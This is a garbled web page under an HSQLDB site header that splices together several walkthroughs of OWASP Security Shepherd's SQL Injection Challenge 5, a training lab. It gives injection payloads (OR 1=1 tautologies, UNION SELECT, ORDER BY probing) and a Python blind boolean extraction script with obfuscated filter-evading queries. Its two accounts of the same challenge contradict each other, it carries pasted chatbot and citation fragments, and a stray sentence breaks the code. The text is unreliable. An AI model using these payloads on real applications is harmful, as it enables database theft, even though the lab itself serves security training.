hsqldb.org Home
                  Page

HSQLDB - 100% Java Database

Sql+injection+challenge+5+security+shepherd+new Fix

To solve the SQL Injection Challenge 5 in Security Shepherd (often titled "SQL Injection 5"), you need to exploit an Insecure Direct Object Reference (IDOR)

vulnerability that is susceptible to SQL injection. In this level, the application typically asks for a "User ID" or "Account Number" to display private information.

The goal is to extract the session key or a specific "secret" (the lesson's result) by manipulating the input field to bypass the intended query logic. Steps to Solve Analyze the Input

The challenge provides a field to enter a user ID. A normal request might look like . The backend likely executes a query similar to: SELECT secret FROM lessons WHERE userId = [YOUR_INPUT] Test for Vulnerability Enter a single quote ( ) or a common payload like 5' OR '1'='1

. If the page errors out or displays data for a different user, it is vulnerable to SQL injection. Identify the Schema To retrieve the flag, you need to see all records. Use a based injection or a simple logic bypass. : This forces the

clause to always be true, potentially dumping every user's secret in the database. Refine the Injection (UNION Select) If the simple bypass doesn't work, use a

statement to join the results of a second query. First, find the number of columns: 1' ORDER BY 1-- (Increment the number until you get an error). Once you know the column count (e.g., 2), use: 1' UNION SELECT NULL, result FROM results-- Retrieve the Key

Look through the output on the page. One of the "secrets" displayed will be the alphanumeric string required to submit the lesson. Summary of Payload ' OR 1=1-- Use code with caution. Copied to clipboard ,key_column internal_table Use code with caution. Copied to clipboard

In the "New" Security Shepherd environment, table names or column names might be obfuscated. If the basic doesn't work, check the source code or use information_schema.tables to find the correct table names. sql+injection+challenge+5+security+shepherd+new

SQL Injection Challenge 5 (often referred to as the "Meme Shop" or "Coupon Code" challenge) in OWASP Security Shepherd is a logic-based injection task that tests your ability to manipulate backend database queries through input fields. Challenge Overview

In this scenario, you are presented with a "Super Meme Shop" interface where you can "buy" items. The goal is to obtain a VIP Coupon Code

that allows you to complete a transaction for free (or for a "troll amount"), which then rewards you with the result key. 1. Identify the Vulnerable Input The vulnerability lies in the Coupon Code

input field. Unlike earlier challenges that might use simple login forms, this one requires you to extract data from a table you don't initially see. Course Hero 2. Construct the Payload The backend likely uses a query similar to:

SELECT coupon_code FROM coupons WHERE coupon_code = 'USER_INPUT'; Course Hero

To bypass the check and force the database to return a valid coupon code (even if you don't know it), you can use a classic tautology: Course Hero Resulting Query:

SELECT coupon_code FROM coupons WHERE coupon_code = "" OR 1=1;

is always true, the database will return the first available coupon code in the table. Course Hero 3. Exploit and Retrieve the Key Enter the payload into the Coupon Code box and click "Place Order". The application should reveal a VIP Coupon Code (e.g., a specific string like VIP-123-CODE Refresh the page or go back to the shop, enter the actual coupon code To solve the SQL Injection Challenge 5 in

you just discovered, and set a quantity for an item (some versions require a "Troll Amount" is greater than or equal to 1 Submit the order to receive your solution key. Key Takeaway

This challenge demonstrates that SQL injection isn't just about bypassing logins; it can be used to exfiltrate sensitive data

(like discount codes or internal IDs) that the application logic then trusts for further actions. ResearchGate ✅ Result The solution involves using a tautology payload like

in the coupon field to force the database to leak a valid VIP code, which is then used to "purchase" the result key for free. Are you having trouble with the mechanism in this specific level, or does the payload work for your version?


2.2 Testing for Injection

Submitting a single quote (') in the username field results in a generic error page or a blank response – no detailed SQL error is shown. This indicates:

Automation for the "New" Challenge

Doing this manually takes hours. Use a Python script with requests and binary search logic:

import requests

url = "http://localhost:8080/challenge5.jsp" flag = "" position = 1

while True: for ascii_val in range(32, 127): char = chr(ascii_val) # Blind boolean payload payload = f"1'//aNd//(SeLeCt//SuBsTrInG(flag,{position},1)//FrOm//users//LiMiT//0,1)//=/**/'{char}'-- -" params = {"userid": payload} resp = requests.get(url, params=params) A database error occurs, but error messages are suppressed

    if "User Found" in resp.text:
        flag += char
        print(f"Found: {flag}")
        position += 1
        break
else:
    # No more characters found
    print(f"Final flag: {flag}")
    break

Overview

Security Shepherd's SQL Injection Challenge 5 (the "new" variant) is a deliberately vulnerable web application module designed to teach advanced SQL injection techniques and defenses. The challenge typically involves exploiting blind and logical/boolean-based SQL injection, bypassing input filters, chaining multiple injections, and extracting data from multiple tables. This review covers objective goals, attack surface, exploitation steps, payloads, mitigation recommendations, and assessment of difficulty and learning value.


Step 5: The Trick — Boolean Injection Without Quotes

Since LIKE patterns are inside single quotes in the SQL, but the single quote is filtered in input, how is the query built? Maybe the developer used double quotes for the SQL string? Let’s check the debug header again:
SELECT note FROM notes WHERE user_id = 2 AND note LIKE '%milk%'

So the outer SQL uses single quotes around the LIKE pattern. The input milk is placed inside those quotes. If you input a backslash (\), it escapes the closing quote in the SQL? Example:

Input: %\
SQL: LIKE '%\%' — the second single quote is escaped, causing a syntax error. The error message reveals the exact query:
LIKE '%\%'' — Yes, the last quote remains unmatched. So you can break out.

But how to get admin note? You need a union-based injection or boolean blind injection.

Try input: %\' UNION SELECT note FROM notes WHERE user_id=1 --

Filter blocks single quote. But what if you use double quotes? The filter allows double quotes? Let’s test: input " — validation passes. Double quotes are not in the blocked set. Interesting.


SourceForge Logo

This page last updated 22 May 2024
Contents of this page are ©2001-2024 The HSQL Development Group. All rights reserved.